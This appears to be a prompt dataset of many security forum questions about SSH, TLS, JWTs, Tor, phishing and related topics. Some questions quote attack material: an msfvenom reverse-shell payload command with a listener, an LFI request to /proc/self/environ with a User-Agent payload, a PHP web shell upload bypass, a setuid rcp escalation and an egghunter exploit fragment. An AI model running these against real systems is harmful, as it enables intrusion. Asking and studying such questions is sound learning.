instruction
stringlengths
24
29.9k
Recently I've been trying to learn the mechanisms behind SSH keys but I came across this question that I haven't been able to find an answer to (I haven't figured out how to word my question such that searching it would give me the answer). Basically, we add our local machine's public key to the server's authorized_key...
Let us say that a small company has an internal network for employees. All employees are granted Internet access via a NAT device (not a proxy) and perimeter firewall only allows outgoing connections to port 80 and 443. An attacker manages to compromise an employee workstation (say by spear phishing mail) and wishes to...
I've just read about the detecting and blocking of Tor traffic by DPI but now I'm curious about analyzing the data you send over Tor and matching it with your true identity by deep-inspecting the data packets that leave your PC/router. (If that means anything) I don't know much about the technical details of DPI, (whic...
There is a lot of information on how to avoid or detect XSS, but I couldn't find much information on how to monitor for reflected XSS. Is there a way to automatically detect reflected XSS in my application's logs? My guess is that we can run a parser on the logs and signal all the possible reflected XSS attacks. Is the...
For a web app, we are authenticating and authorizing users. There is no Sign-up option, but rather these users are provisioned into the system explicitly and are given certain permissions based on their level. Say a role has access to customer data. This access is required to conduct business processes during business ...
I have a question about the Key Exchange Algorithm used in TLS process. I have read that the Key Exchange algorithm is used by client and server to exchange session keys. Do the client and server exchange session keys at the end of Handshake process? If they arrive mathematically at the same results for session keys at...
With the public beta access to iOS 14 people got a warning when apps access the clipboard, and it lead to people realizing that many apps just grab everything from the clipboard they can get and send it back to their servers. Amongst other things this led to widespread criticism of the TikTok App. Is there a way to mon...
Had few chrome vulnerabilities [CVE-2020-6420] detected by BI(Retina). Upgraded the affected machines to chrome version 84.0.4147.89. After re-scan still the same vulnerabilities are detected. Anyone experienced it before ? please help to resolve
I've read that the Great Firewall now blocks TLS 1.3 connections with ESNI. Is TLS 1.3 usable without ESNI, or does the user have to downgrade to TLS 1.2?
Background Some features are not yet available on the web platform and thus require cooperation with a native application in order to provide them. One method for a web application and a native application to communicate with each other is a custom protocol handler. For instance, the web application can call mycustompr...
When I'm scanning with Nmap, I make an effort to get proper hostnames associated with the target IPs. To do this, I scan UDP 53 on the targets to identify DNS servers and then run something like the following for each identified DNS server: nmap -sL -v4 --dns-servers DNSSERVER TARGETS I have to review the results for ...
I've seen code like this: if(password.length !== allowedPassword.length || !crypto.timingSafeEqual(password, allowedPassword)) So timingSafeEqual is supposed to use the same amount of time to compare 2 passwords, in order to prevent the attack to estimate the complexity of the password. My question is, if the both pa...
I have made a 7z archive using Delta filter containing a wav file and I have protected it with a password. I am running a terminal in Kali Linux. My problem is that I cannot get the password cracked using 7z2john.pl and John the Ripper. If I omit the Delta compression, using only the default compression of 7z, then the...
Let's say that I have an unencrypted file and I'm trying to encrypt it and make sure the original file can not be recovered from my disk. If I, for example, create an archive, put the file into it and encrypt the archive it seems pretty obvious that even if I delete the original file it is still on the disk and can be ...
I wake up this morning to a rebooted server. The DNS server was running at over 100%. After a little bit of work, I got fail2ban in place to block all of those requests. The requests themselves are valid, jut repeated hundred of times per seconds. Once the block got many (hundred) of IPs, I can see that I am blocking 1...
Assuming whatever encryption algorithm used was designed to support compression without any information leakage, would there be any reason not to use some custom compression algorithm to add obscurity to security? Instead of a compression algorithm, what if it were just a simple custom algorithm that mixed the bits or ...
Services like Dashlane and Bitwarden are unable to decrypt your passwords without your Master Password. So, how does Chrome do it when they also state that your passwords are encrypted using your Google username and password?
I am doing a security assessment on the communication security of a legacy IoT device. The objective is to assess and find security gaps in the current design/implementation. The mode of assessment is manual, primarily with the reference of existing design and code. This is only client-side at device; while server is a...
I (will) have a binary executable file. It's only permission is user-execute. It cannot be read by user, group, or world. The owner of the file is the Apache user. I don't want the apache user to be able to read the file, but I do want the apache user (via a PHP script) to be able to execute the file. The binary execut...
I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe In addition I am running a listener with Metasploit's "multi/handler" or alternatively, a netcat listener: nc -lvp 4443 However, ...
Given how UEFI secure boot appears later than TPM, i had assumption that it provides advantages over TPM. As i read into each, it appears to me that the TPM measurements to each stage would provide about the same level of integrity guarantee as how each secure boot stage verifies the next stage's signature. I get how t...
I'm terrified of clicking on links in emails, and yet a colleague insists I do. When I receive an email in my gmail account that contains links of the form http://gofile.me/xxxxx/yyyyyyyyy along with its password, apparently sent from someone I know and expect it from, and who has supplied the password for the link to ...
I'm currently working on setting up a password rotation strategy for an AWS Aurora/MySQL based application. My plan was to use a strategy like this... Application usernames/passwords stored in AWS SSM encrypted parameters. Application servers have access to retrieve only their credentials from SSM. Restricted by envir...
I'm trying to learn to do pen testing and wifi cracking. I had captured handshakes and begun cracking the handshake a day ago, with the password not being in my dictionary list. When trying with a new list I received this error. Invalid packet capture length 1859175202 - corrupted file? Now whenever I capture the hand...
Using the OWASP testing guide, if password strength policy verification is implemented only client-side, can that be considered a vulnerability? In which category? Also which CVSS it should have?
Let us assume that there is a man in the middle who can read (not modify) all the data that's being transferred between a client and the server. We want the client to be able to log in without exposing their credentials. We will be using asymmetric encryption here. When the client wants to login, client will send a sig...
I read that why do we need E2EE and can't rely only on HTTPS for sending messages through a messaging app. The reason which i understood is when sender sends the message to the server, the TLS connection is associated with the server. TLS terminates at the server and whoever controls the server has the ability to view ...
While pentesting in a lab, came across an rcp binary with setuid bit which looked like a potential privilege escalation vector. bash-3.1$ ls -l /usr/bin/rcp -rwsr-xr-x 1 root root 18544 May 18 2007 /usr/bin/rcp Following the explanation at https://securiteam.com/exploits/6b00l1p0bc/ , I tried the following: bash-3.1$...
i have downloaded bwapp from official site and windows 10 defender showing me that it contains a reverse shell ( i know these things are there for practice ) but in earlier days it is not showing that. Is it good to use it is safe to use Or it is just a False Positive
Before the invention of HSTS security policy, if a user didn't specify the protocol in the URL, were all the initial requests sent over HTTP by default for every website?
I am a part of an organization that is developing a website that required user authentication, and we are strongly considering FIDO compliance. However, our use case requires users to be able to log-in from shared computers (i.e. father and son may share the same computer). And we cannot expect our user to carry around...
Is it necessary to periodically re-key end entity SSL certificates apart from typical scenarios like Key lost/key compromise? What benefits does it provides in terms of security and others? Is there any guidelines for that period?
I've read the official page on safety numbers but they are still unclear to me. Without verification, there still is end to end encryption, so what difference does it make? Is it that a phone number is easy to spoof so an adversary could pretend to be someone else but with a safety number verified you would know if it'...
I am new in the world of cryptography. I'm working with an IoT project. My job is to protect the entire data. So, I need some cryptographic security. I want that data should be encrypted before transmitting to the internet. So, if the encrypted data (with digital signature) is transmitted through HTTPS protocol, then i...
tldr: should the level of security measures applied to a GPG private key depend on the use case, or should it always be kept strictly protected? I started using GPG a few years ago, I'm reasonably comfortable with the technical part but I'm still a bit confused about the broader security philosophy. I use GPG mostly to...
I went in a public chatroom. I had a bitter fight with someone. The person blackmailed me. I looked for privacy policy of the chatroom and it said they store my IP, which is visible to the chatroom owner. My concerns are: What all information can be extracted from my IP? Do I need to worry about my breach of privacy? ...
A colleague recieved an unsolicited email along the lines below: Dear Ms. Smith please click on the following link to recieve Document X regarding Project Y. Yours, Eve Nobody eve.nobody@company.com I suggested my colleague to reply to Eve Nobody, and ask whether the email is legitimate. Note, that we typed-in the a...
I was solving SQL injection lab on Portswigger, and the lab was asking to exploit blind SQL injection by triggering time delays, using that to retrieve administrator password. I was making 720 requests by Burp intruder, to test (a-z, 0-9) payload on each position of password whose length was 20. If my condition is true...
I have noticed how important has it become to anonymously contribute to github. I have just created a new account with protonmail and removed my actual account from my Macbook. I still have the public keys. Should I use those public keys to connect my Machine to Github or generate a new pair with a new email? What are ...
Our system supports SAML2 and acts as service provider. Our customer uses ADFS as identity provider. Metadata has been exchanged and the connection works. Unfortunately our system complains about the SAML responses: org.opensaml.common.SAMLException: NameID element must be present as part of the Subject in the Respons...
I have a pivot setup on a compromised windows 10 box and am trying to get an SYSTEM shell on a separate machine in the target network. I have successfully done this abusing an unquoted service path via a meterpreter/reverse_named_pipe that connects to my pivot but can this be done using bind_named_pipe? I may be thinki...
I recently installed a new windows key for my friend. He was using a hack program previously, known as Auto KMS. So after new keys installation, I used Windows defender to remove AutoKMS program. The defender found the kms program in C:/Windows/System32/Tasks/ which I think the hack program needed for bypassing windo...
The Android Bluetooth Low Energy documentation recommends adding application layer encryption on-top of the BLE connection if the exchanged data is sensitive: Caution: When a user pairs their device with another device using BLE, the data that's communicated between the two devices is accessible to all apps on the us...
My company has a firewall set up which, among other things, scans incoming files for malware. The scanner alerted about a malicious file that was downloaded to one of our machines. After some investigating, I learned that this is a program that is necessary to one of the core functions of our company and needs to be do...
I've been going through a hassle with a big mobile company about if I should click into a link in an email that I think is from them. The email and the link inside is not obviously from the company, as the domains do not match up to the providers domain, or alternate domains. It seems through discussion on the company ...
I found out that the landlord of my building is able to access all my internet URLs even though they are HTTPS. Ex they are able to see this entire URL: https://www.google.com/search?q=stackoverflow including path and query params. I verified by clicking on the lock icon of my browser that the certificate issuer is "Go...
Sometimes I order stuff from less-known online stores that ask me to pay directly by providing a card number. Either they don't support PayPal or similar services or they might charge a fee for using them, so that's what I do: I have a card with about $200 on it. This card is blocked by default. When I need to use it,...
We sell our code to a company that they can run our code 100 times a month. We need to do a few things before giving the code to the company. Hide our logic (we can hide our logic by code obfuscation) excessive usage (no more execution of our code than 100 time) redistribution (the company we sold the code to can't ...
I work for a company where we give customer (hundreds/thousands of users) access to 2 sites. One owned by a 3rd party SaaS and one owned by us. Customers spend alot of time registering for both sites and we also spend alot of time removing accounts when customers no longer need access. I would like users to register fo...
From my understanding, the current standard when using JWTs for user sessions is to have a short-lived (expires after maybe 15 minutes) access token and a long-lived refresh token (expires after 24+ hours) which can be used to obtain more access tokens. There seems to be a handful of reasons for this, the main ones bei...
Suppose I have a valid SSL certificate for my application certified by valid CA and I turn evil. Now I want to do MITM between A and B. When I'll get a request from A, I'll send my valid SSL certificate to A and then forward A's request to B. Is this possible? I'm talking about a scenario without browsers. i.e when URL...
As I have learned, there are two main ways of isolating resources in AWS VPC One through public/private subnet separation using NAT Gateways to route communications between resources (e.g. public web servers) in the public subnets and resources in the private subnets (e.g. Aurora RDS instances) On the other hand, one...
Context: I'm looking at storage solutions for JWT tokens on a single page application. Storing the JWT in the local storage is unsafe and prone to XSS attacks. Storing the JWT in a secure / HTTP only cookie is safer, but prone to CSRF attacks. I'm studying the following scenario: Upon authentication, a refresh token ...
Diffie Hellman is a key exchange algorithm where client and server both generate public and private key, exchange their public key and combine this key with his own private key to generate same secret key. But, here is a confusion in the implementation. Here is the code... const crypto = require('crypto'); const expres...
I want to create a message exchange program. These messages are encrypted with the AES key, and this key is encrypted using the RSA algorithm. When I send a message from User 1 to User 2, I need to request the public key from User 2, do I just get the key and use it or do I need a secure key exchange like Diffie-Hellma...
I need to send some automated emails from a program I'm working on. This is a new feature. I'm generating the emails, but they get filtered by most of the email servers that I send tests to. Only one server I am using accepts the emails and it allows a lot of spam through. I need to find what headers or authentication ...
I'm getting conflicting information on how the security keys are stored and used. Where are the public and private keys stored? If the private key is stored on the Yubikey itself, how many can it hold? If the both keys are stored on the service you are authenticating against (Gmail), does it send the yubikey the privat...
If I know someone is trying to spy on me, and they are tracking me both online and in the physical worls, what steps can I take to neutralize the risk? Keep in mind that I'm a normal person with limited resources. These steps come to mind: Set up & use a self-hosted VPN service (to prevent ISP as Man-in-The-Middle and...
I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension. When I open my shell with a web browser, it doesn't execute (confirmed with a packet capture) but when I open it with curl, it returns my php web shell source code! Where is the problem?
The only protection features that mobile phones have to keep thieves that stole a target's device from impersonating that subscriber is the PIN/PUK system that's on by default on most SIM cards. The gist of this is that only the legitimate subscriber would have set the PIN and only they would know it to unlock the SIM ...
I'm in the process of implementing TOTP based on RFC6238. The RFC's recommend time step is 30 seconds. However, for addressing a resynchronization problem that we have, if I use a larger time step, 15 mins or if my verifier verify the code in 30 time slots (15 previous, the current and 29 future), is there any vulner...
Was thinking to use Ambassador design pattern and filter each request through Nginx with Waf (mod_security or Naxsi) in reverse proxy and ACL, authentication and authorization to pod. What are the best practices? How to prevent "soft belly" of each microservice being open in the network (vlan, vpc or similar) Thanks,
We hired a new Sales Ops member 1 week ago. Within a week he's getting emails similar to the below: I did some research on the sender and it is a valid email, valid person, SPF/DKIM checks come through fine. I reached out to my CEO to check to see if he knew the sender. I know I can stop this by rejecting messages ...
I am performing a MITM attack against my own network using bettercap and https proxy. On my client-side I use the Google Chrome browser and navigate to https://webs.com At the same time I use a script that analyzes client-side TLS security parameters. Bettercap presents its certificate to the client-server connection a...
I'm a fan of Visual Studio, and recently installed VSC on my Linux Mint. However recently I did a deep-dive on Richard Stallman's site reading about just how evil and depraved all the big tech companies are, including Microsoft (not that I didn't already know that these companies are evil, I just didn't realise the ext...
You have an embedded device that supports HTTP based web UI over private ip address. Does it make sense to implement CSRF defense over HTTP(not HTTPS)?
When using gmail this morning, I got the "Currently being used in other location" warning in the bottom right hand corner: The details showed 2 different IP addresses accessing my account: The IP address, 2604:ca00:119:49ec::460:46d4, is not mine. When I looked it up on WHOIS, it says it is owned by Google. Is my un...
I spun up an internet facing nginx server in AWS and the logs started showing weird get requests with a search engine's spider as user agent. 172.31.43.193 - - [19/Aug/2020:20:09:19 +0000] "GET /rexcategory?categoryCodes=SHPCAT33&t=1360657001168 HTTP/1.1" 404 153 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/hel...
I am looking for a way to hold the departments accountable and ensure they atleast review the policies that we have.  I was thinking about using adobe sign but don't want to go cloud.  An application like those that make you scroll to the end then click agree would be nice if it kept track of the people who signed.  I'...
In my Java project I'm trying to create a 100% secure method of communication between the method and the client. I used to use this process: Client: generates 4096-bit RSA keypair Client: sends public to server Client: generates 256-bit AES key Client: encrypts AES key using RSA and send Server: decrypts AES key from R...
Let's consider this scenario. If I browse to https://www.example.com/existentdirectory the web application shows this error "directory listing is denied". If I browse to https://www.example.com/nonexistentdirectory the web application shows this error "file directory is not found". To me this would represent a chance f...
I am wondering how those RSA fingerprints work. I have a GitHub account and created an RSA key pair to set up an ssh connection. Then followed the instruction... First time I connect to my GitHub it gives me and RSA fingerprint SHA256:nThbkt6JwfF............ Ok, I am doing this for the learning process so I google what...
We are writing a pure javascript front-end (in angular) for an API that still uses OAuth 1 for legacy reasons. Being pure javascript means the consumer secret is part of the code that gets downloaded at the start, before authentication, and therefore easily known to an attacker. This secret is used in calculating the a...
As far as i know certificate chain is accomplished based on the issuer's CA name. It is possible that the algorithm to create certificate chain first reads end-certificate's issuer area and get the value of CA. Then make a search in trust store with this data, it reads the subject ares's CA value for all certificates. ...
I recently discovered that my parents' android phones have not received security updates for years because the phones are out of support. When I talked to them I realized that the benefit of up-to-date software is very abstract to them and that they clearly felt like I was overreacting. I personally really understood t...
While trying to exploit vulnserver (GMON), on Windows 10, using an egghunter, the program crashes in the instruction int 0x2E of the egghunter. The exploit works if I use jumps. Does someone know if there is any issue or protection with the int 0x2E and int 0x80 instructions on Windows 10? Egghunter code: egghunter = "...
I am looking for a cross-platform way to encrypt credentials I need to send to a client. I know encrypted zip archives leak metadata and can be tampered with, but how strong is the encryption cypher? zip -ejr "/path/to/folder.zip" "/path/to/folder"
I'm reading this blog and it says: If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written into the HTTP User-Agent field. Then, it goes on to say: GET lfi.php?file=../../../proc/self/environ HTTP/1.1 User-Agen...
A hypothetical 1GB USB stick is full of sensitive documents/images/etc. and it is not encrypted. The owner wishes to discard it and is aware of having to safely erase it first. There are several tools and utilities to do this. Some can be configured to do it “faster yet less safely”, others do it “slower but more safel...
Background Per the project website, wkhtmltopdf is a "command line tool to render HTML into PDF using the Qt WebKit rendering engine. It runs entirely "headless" and does not require a display or display service." The website also states that "Qt 4 (which wkhtmltopdf uses) hasn't been supported since 2015, the WebKit i...
I want to verify phone number ownership with specially crafted and encrypted payload within an HTTP hyperlink callback through SMS as opposed to sending an SMS OTP code and writing it back in server web page. The payload will contain validity and expiry, random numbers, etc. I wasn't able to find anyone using this or s...
I am trying to perform a MITM attack using bettercap against a website that doesn't have the HSTS security policy implemented at all. When I try the following command: bettercap -T AddressIpoftheTarget -X --proxy --https-proxy, it works fine. Bettercap succeeds in injecting his own self-signed certificate to the web br...
I am not an expert in information security. I am running Lubuntu on a laptop. Today, I ran chkrootkit and it printed the following: INFECTED: Possible Malicious Linux.Xor.DDoS installed /tmp/clamav-71d2ee99f7e011424ab238571d720a88.tmp I did run clamscan. This is the first time I have seen this notice. I could not find...
Let's say we run a web app at "example.org". It uses cookies for user authentication. Our website also has a blog at "example.org/blog", hosted by a third party. Our load balancer routes all requests to "/blog" (and subpaths) to our blog host's servers. We don't distrust them, but we'd prefer if security issues with...
This has been in the news: https://www.wired.com/story/fcc-fines-wireless-companies-selling-users-location-data/ Is there a way to make calls without using cell towers? Also in this context: is it true that if one uses wifi only for calling, then the location is not sent?
If a password is +30 characters long but contains words from the dictionary, is it less secure than a 10-character password that is !@#$#%$^%$, for example?
Where can I find RegEx that can pattern match common secret strings? I have a product that scans repos and commits and in case a developer tries to commit a secret (i.e. passwords, keys). It scans for roughly 30 patterns by default which seems insufficient given thousands of repos in over seventy languages. I can expan...
I've been using OpenVPN and SSH tunnels for a multitude of scenarios over the years and recently I've been earning a lot of buzz around the simplicity and security of WireGuard. Now I've found some troubling information about CVE-2019-14899: An attacker that controls your L2 link (i.e., your WiFi or LAN) can send spec...
I've read a lot of articles on the PKI and digital certificate topics because it's very rare to find one article covers all the aspects; also the topic is confusing at the beginning, (this beautiful question is my last reading: How do certificates work in terms of encryption, hashing, and signing?). I drew this graph f...
Prime numbers are core in security. I saw this question about Java's probablePrime and was wondering if that API/approach is indeed used for real production-ready security code or other approaches are preferred to ensure there is 0 possibility of using a non-prime number
I'm working with a client that, in order to use their OAuth 2.0 web API, requires me to provide them with a JSON Web Key (JWK) that contains an embedded X.509 certificate. Then, when I'm requesting information from the API, they say I need to pass a "signed (with private keys) JWT Bearer token" on each request. I've n...
Is my VirtualBox setup fine for running a potential virus/malware? Here's the screenshot of my settings - CLICK Shared clipboard and drag n drop are off. Let me know if anything else is required.
Using openssl to generate a CSR: > openssl req -newkey rsa:2048 -nodes -keyout key -out mycsr.csr It outputs the mycsr.csr file along with the key file. The content of mycsr.csr: -----BEGIN CERTIFICATE REQUEST----- MIICsDCCAZgCAQAwazELMAkGA1UEBhMCRUcxDjAMBgNVBAgMBUNhaXJvMREwDwYD VQQHDAhTaGVyYXRvbjEMMAoGA1UECgwDRm9vMQ4...
I've just started using a VPN service because I'm doing work from a hotel room for an extended period of time with an iMac connected to the hotel's open wifi. Hotel has a web log-in with password, but no encryption. I installed a personal VPN service and it appears to be working properly, but when I turn off the VPN th...
I have a web server that uses the ECDHE-RSA-AES256-GCM-SHA384 cipher suite. I noticed that when given the "(Pre)-master-secret log" file (generated by the browser), Wireshark is able to decrypt the traffic given the client random and master secret. I was wondering how that is possible exactly? Or assuming that I have a...
I have a Python client and server communicating over a TCP socket - they send and receive a certain set of standardized string commands to each other. How can I prevent a hacker from creating their own client that sends the same kind of string commands (but with their own values) to the server? Is it right that I can a...
In my web application, I have a single API backend and two frontends written as single page applications. To simplify deployment, I'd like to serve the API on /api, the admin dashboard on /admin, and the end user frontend on /user (or something similar), all on the same domain. I want to use cookies for handling sessio...
If an agent has a few middle Tor relays (Am) and a few exit Tor relays (Ae), could they obtain the original traffic of some of the circuits with a reasonable probability? Let's assume, without too much loss of generality, that Tor only uses middle-middle-exit circuits and that there are M middle relays and E exit relay...
I am implementing a server that contains most of the information the clients have to retrieve. Sensitive information has to be exchanged between client and server, and due to this, I would like to have this information encrypted. I came up with the idea of encrypting all sensitive information using RSA (PKCS1_OAEP) by ...
I am creating a chat app. This app contains private messages and channels. These channels include more than one user. I want to encrypt messages using AES and to transfer the AES key to users of this channel. I need a secure transport channel so I used Diffie Hellman. The problem now is how will I get users to generate...